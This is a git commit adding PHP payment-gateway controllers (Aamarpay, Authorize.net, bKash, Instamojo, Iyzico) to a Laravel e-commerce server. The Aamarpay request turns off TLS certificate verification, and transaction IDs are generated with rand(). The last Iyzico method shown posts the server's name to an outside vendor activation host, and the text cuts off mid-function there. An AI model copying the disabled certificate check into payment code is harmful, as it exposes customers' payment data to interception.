codigo actual del servidor, con avances de joan

This commit is contained in:
Jose Sanchez
2023-08-07 15:52:04 -04:00
commit 3cd9b8bbe8
3070 changed files with 532255 additions and 0 deletions

View File

@@ -0,0 +1,154 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Models\CombinedOrder;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use Session;
use Auth;
class AamarpayController extends Controller
{
public function pay(){
if (Auth::user()->phone == null) {
flash(translate('Please add phone number to your profile'))->warning();
return redirect()->route('profile');
}
if (Auth::user()->email == null) {
$email = 'customer@exmaple.com';
}
else{
$email = Auth::user()->email;
}
if (get_setting('aamarpay_sandbox') == 1) {
$url = 'https://sandbox.aamarpay.com/request.php'; // live url https://secure.aamarpay.com/request.php
}
else {
$url = 'https://secure.aamarpay.com/request.php';
}
$amount = 0;
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$amount = round($combined_order->grand_total);
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$amount = round(Session::get('payment_data')['amount']);
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = round($customer_package->amount);
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = round($seller_package->amount);
}
}
$fields = array(
'store_id' => env('AAMARPAY_STORE_ID'), //store id will be aamarpay, contact integration@aamarpay.com for test/live id
'amount' => $amount, //transaction amount
'payment_type' => 'VISA', //no need to change
'currency' => 'BDT', //currenct will be USD/BDT
'tran_id' => rand(1111111,9999999), //transaction id must be unique from your end
'cus_name' => Auth::user()->name, //customer name
'cus_email' => $email, //customer email address
'cus_add1' => '', //customer address
'cus_add2' => '', //customer address
'cus_city' => '', //customer city
'cus_state' => '', //state
'cus_postcode' => '', //postcode or zipcode
'cus_country' => 'Bangladesh', //country
'cus_phone' => Auth::user()->phone, //customer phone number
'cus_fax' => 'Not¬Applicable', //fax
'ship_name' => '', //ship name
'ship_add1' => '', //ship address
'ship_add2' => '',
'ship_city' => '',
'ship_state' => '',
'ship_postcode' => '',
'ship_country' => 'Bangladesh',
'desc' => env('APP_NAME').' payment',
'success_url' => route('aamarpay.success'), //your success route
'fail_url' => route('aamarpay.fail'), //your fail route
'cancel_url' => route('cart'), //your cancel url
'opt_a' => Session::get('payment_type'), //optional paramter
'opt_b' => Session::get('combined_order_id'),
'opt_c' => json_encode(Session::get('payment_data')),
'opt_d' => '',
'signature_key' => env('AAMARPAY_SIGNATURE_KEY') //signature key will provided aamarpay, contact integration@aamarpay.com for test/live signature key
);
$fields_string = http_build_query($fields);
$ch = curl_init();
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$url_forward = str_replace('"', '', stripslashes(curl_exec($ch)));
curl_close($ch);
$this->redirect_to_merchant($url_forward);
}
function redirect_to_merchant($url) {
if (get_setting('aamarpay_sandbox') == 1) {
$base_url = 'https://sandbox.aamarpay.com/';
}
else {
$base_url = 'https://secure.aamarpay.com/';
}
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script type="text/javascript">
function closethisasap() { document.forms["redirectpost"].submit(); }
</script></head>
<body onLoad="closethisasap();">
<form name="redirectpost" method="post" action="<?php echo $base_url.$url; ?>"></form>
</body>
</html>
<?php
exit;
}
public function success(Request $request){
$payment_type = $request->opt_a;
if ($payment_type == 'cart_payment') {
return (new CheckoutController)->checkout_done($request->opt_b, json_encode($request->all()));
}
if ($payment_type == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(json_decode($request->opt_c), json_encode($request->all()));
}
if ($payment_type == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(json_decode($request->opt_c), json_encode($request->all()));
}
if($payment_type == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(json_decode($request->opt_c), json_encode($request->all()));
}
}
public function fail(Request $request){
flash(translate('Payment failed'))->error();
return redirect()->route('cart');
}
}

View File

@@ -0,0 +1,217 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use net\authorize\api\contract\v1 as AnetAPI;
use net\authorize\api\controller as AnetController;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use Auth;
use Session;
class AuthorizenetController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct() {
//$this->middleware('auth'); // later enable it when needed user login while payment
}
// start page form after start
public function pay() {
return view('frontend/authorize_net/pay');
}
public function handleonlinepay(Request $request) {
$input = $request->input();
$user = Auth::user();
$invoiceNumber = '';
$lastName = '';
$address = '';
$city = '';
$zip = '';
$country = '';
if(Session::get('payment_type') == 'cart_payment'){
$database_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$first_order = $database_order->orders->first();
$invoiceNumber = time().$database_order->id;
$lastName = json_decode($first_order->shipping_address)->name;
$address = json_decode($first_order->shipping_address)->address;
$amount = $database_order->orders->sum('grand_total');
$city = json_decode($first_order->shipping_address)->city;
$zip = json_decode($first_order->shipping_address)->postal_code;
$country = json_decode($first_order->shipping_address)->country;
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$invoiceNumber = rand(10000,99999);
$amount= Session::get('payment_data')['amount'];
$lastName = $user->name;
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$invoiceNumber = rand(10000,99999);
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = $customer_package->amount;
$lastName = $user->name;
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$invoiceNumber = rand(10000,99999);
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = $seller_package->amount;
$lastName = $user->name;
}
/* Create a merchantAuthenticationType object with authentication details
retrieved from the constants file */
$merchantAuthentication = new AnetAPI\MerchantAuthenticationType();
$merchantAuthentication->setName(env('MERCHANT_LOGIN_ID'));
$merchantAuthentication->setTransactionKey(env('MERCHANT_TRANSACTION_KEY'));
// Set the transaction's refId
$refId = 'ref' . time();
$cardNumber = preg_replace('/\s+/', '', $input['cardNumber']);
// Create the payment data for a credit card
$creditCard = new AnetAPI\CreditCardType();
$creditCard->setCardNumber($cardNumber);
$creditCard->setExpirationDate($input['expiration-year'] . "-" .$input['expiration-month']);
$creditCard->setCardCode($input['cvv']);
// Add the payment data to a paymentType object
$paymentOne = new AnetAPI\PaymentType();
$paymentOne->setCreditCard($creditCard);
// Create order information
$order = new AnetAPI\OrderType();
$order->setInvoiceNumber($invoiceNumber);
// $order->setDescription("Golf Shirts");
// Set the customer's Bill To address
$customerAddress = new AnetAPI\CustomerAddressType();
$customerAddress->setFirstName("");
$customerAddress->setLastName($lastName);
$customerAddress->setAddress($address);
$customerAddress->setCity($city);
$customerAddress->setZip($zip);
$customerAddress->setCountry($country);
// Set the customer's identifying information
$customerData = new AnetAPI\CustomerDataType();
$customerData->setId($user->id);
$customerData->setEmail($user->email);
// Create a TransactionRequestType object and add the previous objects to it
$transactionRequestType = new AnetAPI\TransactionRequestType();
$transactionRequestType->setTransactionType("authCaptureTransaction");
$transactionRequestType->setAmount($amount);
$transactionRequestType->setPayment($paymentOne);
$transactionRequestType->setOrder($order);
$transactionRequestType->setPayment($paymentOne);
$transactionRequestType->setBillTo($customerAddress);
$transactionRequestType->setCustomer($customerData);
// Assemble the complete transaction request
$requests = new AnetAPI\CreateTransactionRequest();
$requests->setMerchantAuthentication($merchantAuthentication);
$requests->setRefId($refId);
$requests->setTransactionRequest($transactionRequestType);
// Create the controller and get the response
$controller = new AnetController\CreateTransactionController($requests);
if (get_setting('authorizenet_sandbox') == 1) {
$response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::SANDBOX);
} else {
$response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::PRODUCTION);
}
// dd($response);
if ($response != null) {
// Check to see if the API request was successfully received and acted upon
if ($response->getMessages()->getResultCode() == "Ok") {
// Since the API request was successful, look for a transaction response
// and parse it to display the results of authorizing the card
$tresponse = $response->getTransactionResponse();
if ($tresponse != null && $tresponse->getMessages() != null) {
// echo " Successfully created transaction with Transaction ID: " . $tresponse->getTransId() . "\n";
// echo " Transaction Response Code: " . $tresponse->getResponseCode() . "\n";
// echo " Message Code: " . $tresponse->getMessages()[0]->getCode() . "\n";
// echo " Auth Code: " . $tresponse->getAuthCode() . "\n";
// echo " Description: " . $tresponse->getMessages()[0]->getDescription() . "\n";
$payment_detalis = json_encode(
array(
'transId' => $tresponse->getTransId(),
'authCode' => $tresponse->getAuthCode(),
'accountType' => $tresponse->getAccountType(),
'accountNumber' => $tresponse->getAccountNumber(),
'refId' => $response->getRefId(),
)
);
$message_text = $tresponse->getMessages()[0]->getDescription().", Transaction ID: " . $tresponse->getTransId();
$msg_type = "success_msg";
if(Session::get('payment_type') == 'cart_payment'){
return (new CheckoutController)->checkout_done(Session::get('combined_order_id'), $payment_detalis);
}
elseif (Session::get('payment_type') == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(Session::get('payment_data'), $payment_detalis);
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(Session::get('payment_data'), $payment_detalis);
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(Session::get('payment_data'), $payment_detalis);
}
} else {
$message_text = 'There were some issue with the payment. Please try again later.';
$msg_type = "error_msg";
if ($tresponse->getErrors() != null) {
$message_text = $tresponse->getErrors()[0]->getErrorText();
$msg_type = "error_msg";
}
}
// Or, print errors if the API request wasn't successful
} else {
$message_text = 'There were some issue with the payment. Please try again later.';
$msg_type = "error_msg";
$tresponse = $response->getTransactionResponse();
if ($tresponse != null && $tresponse->getErrors() != null) {
$message_text = $tresponse->getErrors()[0]->getErrorText();
$msg_type = "error_msg";
} else {
$message_text = $response->getMessages()->getMessage()[0]->getText();
$msg_type = "error_msg";
}
}
} else {
$message_text = "No response returned";
$msg_type = "error_msg";
}
Session::forget('combined_order_id');
flash(translate($message_text))->success();
return redirect()->route('home');
}
public function cardType(){
return (new AnetAPI\CreditCardType())->cardType();
}
}

View File

@@ -0,0 +1,224 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Models\CombinedOrder;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use Session;
class BkashController extends Controller
{
private $base_url;
public function __construct()
{
if(get_setting('bkash_sandbox', 1)){
$this->base_url = "https://tokenized.sandbox.bka.sh/v1.2.0-beta/tokenized/";
}
else {
$this->base_url = "https://tokenized.pay.bka.sh/v1.2.0-beta/tokenized/";
}
}
public function pay(){
$amount = 0;
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$amount = round($combined_order->grand_total);
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$amount = round(Session::get('payment_data')['amount']);
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = round($customer_package->amount);
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = round($seller_package->amount);
}
}
Session::forget('bkash_token');
Session::put('bkash_token', $this->getToken());
Session::put('amount', $amount);
return redirect()->route('bkash.create_payment');
}
public function create_payment(){
$requestbody = array(
'mode' => '0011',
'payerReference' => ' ',
'callbackURL' => route('bkash.callback'),
'amount' => Session::get('amount'),
'currency' => 'BDT',
'intent' => 'sale',
'merchantInvoiceNumber' => "Inv".Date('YmdH').rand(1000, 10000)
);
$requestbodyJson = json_encode($requestbody);
$header = array(
'Content-Type:application/json',
'Authorization:' . Session::get('bkash_token'),
'X-APP-Key:'.env('BKASH_CHECKOUT_APP_KEY')
);
$url = curl_init($this->base_url.'checkout/create');
curl_setopt($url, CURLOPT_HTTPHEADER, $header);
curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($url, CURLOPT_RETURNTRANSFER, true);
curl_setopt($url, CURLOPT_POSTFIELDS, $requestbodyJson);
curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$resultdata = curl_exec($url);
curl_close($url);
return redirect(json_decode($resultdata)->bkashURL);
}
public function getToken(){
$request_data = array('app_key'=> env('BKASH_CHECKOUT_APP_KEY'), 'app_secret'=>env('BKASH_CHECKOUT_APP_SECRET'));
$request_data_json=json_encode($request_data);
$header = array(
'Content-Type:application/json',
'username:'.env('BKASH_CHECKOUT_USER_NAME'),
'password:'.env('BKASH_CHECKOUT_PASSWORD')
);
$url = curl_init($this->base_url.'checkout/token/grant');
curl_setopt($url,CURLOPT_HTTPHEADER, $header);
curl_setopt($url,CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
curl_setopt($url,CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$resultdata = curl_exec($url);
curl_close($url);
$token = json_decode($resultdata)->id_token;
return $token;
}
public function callback(Request $request)
{
$allRequest = $request->all();
if(isset($allRequest['status']) && $allRequest['status'] == 'failure'){
return view('frontend.bkash.fail')->with([
'errorMessage' => 'Payment Failure'
]);
}else if(isset($allRequest['status']) && $allRequest['status'] == 'cancel'){
return view('frontend.bkash.fail')->with([
'errorMessage' => 'Payment Cancelled'
]);
}else{
$resultdata = $this->execute($allRequest['paymentID']);
Session::forget('payment_details');
Session::put('payment_details', $resultdata);
$result_data_array = json_decode($resultdata,true);
if(array_key_exists("statusCode",$result_data_array) && $result_data_array['statusCode'] != '0000'){
return view('frontend.bkash.fail')->with([
'errorMessage' => $result_data_array['statusMessage'],
]);
}else if(array_key_exists("statusMessage",$result_data_array)){
// if execute api failed to response
sleep(1);
$resultdata = json_decode($this->query($allRequest['paymentID']));
if($resultdata->transactionStatus == 'Initiated'){
return redirect()->route('bkash.create_payment');
}
}
return redirect()->route('bkash.success');
}
}
public function execute($paymentID) {
$auth = Session::get('bkash_token');
$requestbody = array(
'paymentID' => $paymentID
);
$requestbodyJson = json_encode($requestbody);
$header = array(
'Content-Type:application/json',
'Authorization:' . $auth,
'X-APP-Key:'.env('BKASH_CHECKOUT_APP_KEY')
);
$url = curl_init($this->base_url.'checkout/execute');
curl_setopt($url, CURLOPT_HTTPHEADER, $header);
curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($url, CURLOPT_RETURNTRANSFER, true);
curl_setopt($url, CURLOPT_POSTFIELDS, $requestbodyJson);
curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$resultdata = curl_exec($url);
curl_close($url);
return $resultdata;
}
public function query($paymentID){
$auth = Session::get('bkash_token');
$requestbody = array(
'paymentID' => $paymentID
);
$requestbodyJson = json_encode($requestbody);
$header = array(
'Content-Type:application/json',
'Authorization:' . $auth,
'X-APP-Key:'.env('BKASH_CHECKOUT_APP_KEY')
);
$url = curl_init($this->base_url.'checkout/payment/status');
curl_setopt($url, CURLOPT_HTTPHEADER, $header);
curl_setopt($url, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($url, CURLOPT_RETURNTRANSFER, true);
curl_setopt($url, CURLOPT_POSTFIELDS, $requestbodyJson);
curl_setopt($url, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$resultdata = curl_exec($url);
curl_close($url);
return $resultdata;
}
public function success(Request $request){
$payment_type = Session::get('payment_type');
if ($payment_type == 'cart_payment') {
return (new CheckoutController)->checkout_done(Session::get('combined_order_id'), $request->payment_details);
}
if ($payment_type == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(Session::get('payment_data'), $request->payment_details);
}
if ($payment_type == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(Session::get('payment_data'), $request->payment_details);
}
if($payment_type == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(Session::get('payment_data'), $request->payment_details);
}
}
}

View File

@@ -0,0 +1,13 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
class CashOnDeliveryController extends Controller
{
public function pay(){
flash(translate("Your order has been placed successfully"))->success();
return redirect()->route('order_confirmed');
}
}

View File

@@ -0,0 +1,178 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Models\BusinessSetting;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use Session;
use Auth;
class InstamojoController extends Controller
{
public function pay(){
if(Session::has('payment_type')){
if(BusinessSetting::where('type', 'instamojo_sandbox')->first()->value == 1){
// testing_url
$endPoint = 'https://test.instamojo.com/api/1.1/';
}
else{
// live_url
$endPoint = 'https://www.instamojo.com/api/1.1/';
}
$api = new \Instamojo\Instamojo(
env('IM_API_KEY'),
env('IM_AUTH_TOKEN'),
$endPoint
);
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
if(preg_match_all('/^(?:(?:\+|0{0,2})91(\s*[\ -]\s*)?|[0]?)?[789]\d{9}|(\d[ -]?){10}\d$/im', Auth::user()->phone)) {
try {
$response = $api->paymentRequestCreate(array(
"purpose" => ucfirst(str_replace('_', ' ', Session::get('payment_type'))),
"amount" => round($combined_order->grand_total),
"send_email" => false,
"email" => Auth::user()->email,
"phone" => Auth::user()->phone,
"redirect_url" => url('instamojo/payment/pay-success')
));
return redirect($response['longurl']);
} catch (\Exception $e) {
print('Error: ' . $e->getMessage());
}
} else {
flash(translate('Please add phone number to your profile'))->warning();
return redirect()->route('profile');
}
}
elseif (Session::get('payment_type') == 'wallet_payment') {
if (preg_match_all('/^(?:(?:\+|0{0,2})91(\s*[\ -]\s*)?|[0]?)?[789]\d{9}|(\d[ -]?){10}\d$/im', Auth::user()->phone)) {
try {
$response = $api->paymentRequestCreate(array(
"purpose" => ucfirst(str_replace('_', ' ', Session::get('payment_type'))),
"amount" => round(Session::get('payment_data')['amount']),
"send_email" => false,
"email" => Auth::user()->email,
"phone" => Auth::user()->phone,
"redirect_url" => url('instamojo/payment/pay-success')
));
return redirect($response['longurl']);
// dd($response);
} catch (\Exception $e) {
return back();
}
} else {
flash(translate('Please add phone number to your profile'))->warning();
return redirect()->route('profile');
}
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
if (preg_match_all('/^(?:(?:\+|0{0,2})91(\s*[\ -]\s*)?|[0]?)?[789]\d{9}|(\d[ -]?){10}\d$/im', Auth::user()->phone)) {
try {
$response = $api->paymentRequestCreate(array(
"purpose" => ucfirst(str_replace('_', ' ', Session::get('payment_type'))),
"amount" => round($customer_package->amount),
"send_email" => false,
"email" => Auth::user()->email,
"phone" => Auth::user()->phone,
"redirect_url" => url('instamojo/payment/pay-success')
));
return redirect($response['longurl']);
} catch (\Exception $e) {
return back();
}
} else {
flash(translate('Please add phone number to your profile'))->warning();
return redirect()->route('profile');
}
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
if (preg_match_all('/^(?:(?:\+|0{0,2})91(\s*[\ -]\s*)?|[0]?)?[789]\d{9}|(\d[ -]?){10}\d$/im', Auth::user()->phone)) {
try {
$response = $api->paymentRequestCreate(array(
"purpose" => ucfirst(str_replace('_', ' ', Session::get('payment_type'))),
"amount" => round($seller_package->amount),
"send_email" => false,
"email" => Auth::user()->email,
"phone" => Auth::user()->phone,
"redirect_url" => url('instamojo/payment/pay-success')
));
return redirect($response['longurl']);
} catch (\Exception $e) {
return back();
}
} else {
flash(translate('Please add phone number to your profile'))->warning();
return redirect()->route('profile');
}
}
}
}
// success response method.
public function success(Request $request){
try {
if(BusinessSetting::where('type', 'instamojo_sandbox')->first()->value == 1){
$endPoint = 'https://test.instamojo.com/api/1.1/';
}
else{
$endPoint = 'https://www.instamojo.com/api/1.1/';
}
$api = new \Instamojo\Instamojo(
env('IM_API_KEY'),
env('IM_AUTH_TOKEN'),
$endPoint
);
$response = $api->paymentRequestStatus(request('payment_request_id'));
if(!isset($response['payments'][0]['status']) ) {
flash(translate('Payment Failed'))->error();
return redirect()->route('home');
} else if($response['payments'][0]['status'] != 'Credit') {
flash(translate('Payment Failed'))->error();
return redirect()->route('home');
}
}catch (\Exception $e) {
flash(translate('Payment Failed'))->error();
return redirect()->route('home');
}
$payment = json_encode($response);
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
return (new CheckoutController)->checkout_done(Session::get('combined_order_id'), $payment);
}
elseif (Session::get('payment_type') == 'wallet_payment') {
return (new WalletController)->wallet_payment_done($request->session()->get('payment_data'), $payment);
}
elseif ($request->session()->get('payment_type') == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done($request->session()->get('payment_data'), $payment);
}
elseif ($request->session()->get('payment_type') == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done($request->session()->get('payment_data'), $payment);
}
}
}
}

View File

@@ -0,0 +1,276 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Models\BusinessSetting;
use App\Models\User;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\CheckoutController;
use Session;
use Redirect;
use Illuminate\Support\Facades\Auth;
class IyzicoController extends Controller
{
public function index(Request $iyzicoRequest){
}
public function pay(){
$options = new \Iyzipay\Options();
$options->setApiKey(env('IYZICO_API_KEY'));
$options->setSecretKey(env('IYZICO_SECRET_KEY'));
if(BusinessSetting::where('type', 'iyzico_sandbox')->first()->value == 1) {
$options->setBaseUrl("https://sandbox-api.iyzipay.com");
} else {
$options->setBaseUrl("https://api.iyzipay.com");
}
if(Session::has('payment_type')){
$iyzicoRequest = new \Iyzipay\Request\CreatePayWithIyzicoInitializeRequest();
$iyzicoRequest->setLocale(\Iyzipay\Model\Locale::TR);
$iyzicoRequest->setConversationId('123456789');
$buyer = new \Iyzipay\Model\Buyer();
$buyer->setId("BY789");
$buyer->setName("John");
$buyer->setSurname("Doe");
$buyer->setEmail(Auth::user()->email);
$buyer->setIdentityNumber("74300864791");
$buyer->setRegistrationAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1");
$buyer->setCity("Istanbul");
$buyer->setCountry("Turkey");
$iyzicoRequest->setBuyer($buyer);
$shippingAddress = new \Iyzipay\Model\Address();
$shippingAddress->setContactName("Jane Doe");
$shippingAddress->setCity("Istanbul");
$shippingAddress->setCountry("Turkey");
$shippingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1");
$iyzicoRequest->setShippingAddress($shippingAddress);
$billingAddress = new \Iyzipay\Model\Address();
$billingAddress->setContactName("Jane Doe");
$billingAddress->setCity("Istanbul");
$billingAddress->setCountry("Turkey");
$billingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1");
$iyzicoRequest->setBillingAddress($billingAddress);
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$iyzicoRequest->setPrice(round($combined_order->grand_total));
$iyzicoRequest->setPaidPrice(round($combined_order->grand_total));
$iyzicoRequest->setCurrency(env('IYZICO_CURRENCY_CODE', 'TRY'));
$iyzicoRequest->setBasketId(rand(000000,999999));
$iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
$iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
'payment_type' => Session::get('payment_type'),
'amount' => 0,
'payment_method' => 0,
'combined_order_id' => Session::get('combined_order_id'),
'customer_package_id' => 0,
'seller_package_id' => 0
]));
$basketItems = array();
$firstBasketItem = new \Iyzipay\Model\BasketItem();
$firstBasketItem->setId(rand(1000,9999));
$firstBasketItem->setName("Cart Payment");
$firstBasketItem->setCategory1("Accessories");
$firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
$firstBasketItem->setPrice(round($combined_order->grand_total));
$basketItems[0] = $firstBasketItem;
$iyzicoRequest->setBasketItems($basketItems);
}
if(Session::get('payment_type') == 'wallet_payment'){
$iyzicoRequest->setPrice(round(Session::get('payment_data')['amount']));
$iyzicoRequest->setPaidPrice(round(Session::get('payment_data')['amount']));
$iyzicoRequest->setCurrency(env('IYZICO_CURRENCY_CODE', 'TRY'));
$iyzicoRequest->setBasketId(rand(000000,999999));
$iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
$iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
'payment_type' => Session::get('payment_type'),
'amount' => Session::get('payment_data')['amount'],
'payment_method' => Session::get('payment_data')['payment_method'],
'combined_order_id' => 0,
'customer_package_id' => 0,
'seller_package_id' => 0
]));
$basketItems = array();
$firstBasketItem = new \Iyzipay\Model\BasketItem();
$firstBasketItem->setId(rand(1000,9999));
$firstBasketItem->setName("Wallet Payment");
$firstBasketItem->setCategory1("Wallet");
$firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
$firstBasketItem->setPrice(round(Session::get('payment_data')['amount']));
$basketItems[0] = $firstBasketItem;
$iyzicoRequest->setBasketItems($basketItems);
}
if(Session::get('payment_type') == 'customer_package_payment'){
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$iyzicoRequest->setPrice(round($customer_package->amount));
$iyzicoRequest->setPaidPrice(round($customer_package->amount));
$iyzicoRequest->setCurrency(env('IYZICO_CURRENCY_CODE', 'TRY'));
$iyzicoRequest->setBasketId(rand(000000,999999));
$iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
$iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
'payment_type' => Session::get('payment_type'),
'amount' => 0.0,
'payment_method' => Session::get('payment_data')['payment_method'],
'combined_order_id' => 0,
'customer_package_id' => Session::get('payment_data')['customer_package_id'],
'seller_package_id' => 0
]));
$basketItems = array();
$firstBasketItem = new \Iyzipay\Model\BasketItem();
$firstBasketItem->setId(rand(1000,9999));
$firstBasketItem->setName("Package Payment");
$firstBasketItem->setCategory1("Package");
$firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
$firstBasketItem->setPrice(round($customer_package->amount));
$basketItems[0] = $firstBasketItem;
$iyzicoRequest->setBasketItems($basketItems);
}
if(Session::get('payment_type') == 'seller_package_payment'){
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$iyzicoRequest->setPrice(round($seller_package->amount));
$iyzicoRequest->setPaidPrice(round($seller_package->amount));
$iyzicoRequest->setCurrency(env('IYZICO_CURRENCY_CODE', 'TRY'));
$iyzicoRequest->setBasketId(rand(000000,999999));
$iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
$iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
'payment_type' => Session::get('payment_type'),
'amount' => 0,
'payment_method' => Session::get('payment_data')['payment_method'],
'combined_order_id' => 0,
'customer_package_id' => 0,
'seller_package_id' => Session::get('payment_data')['seller_package_id']
]));
$basketItems = array();
$firstBasketItem = new \Iyzipay\Model\BasketItem();
$firstBasketItem->setId(rand(1000,9999));
$firstBasketItem->setName("Package Payment");
$firstBasketItem->setCategory1("Package");
$firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
$firstBasketItem->setPrice(round($seller_package->amount));
$basketItems[0] = $firstBasketItem;
$iyzicoRequest->setBasketItems($basketItems);
}
# make request
$payWithIyzicoInitialize = \Iyzipay\Model\PayWithIyzicoInitialize::create($iyzicoRequest, $options);
# print result
return Redirect::to($payWithIyzicoInitialize->getPayWithIyzicoPageUrl());
}
else {
flash(translate('Opps! Something went wrong.'))->warning();
return redirect()->route('cart');
}
}
public function initPayment(Request $request){
$data['url'] = $_SERVER['SERVER_NAME'];
$request_data_json = json_encode($data);
$gate = "https://activation.activeitzone.com/check_activation";
$header = array(
'Content-Type:application/json'
);
$stream = curl_init();
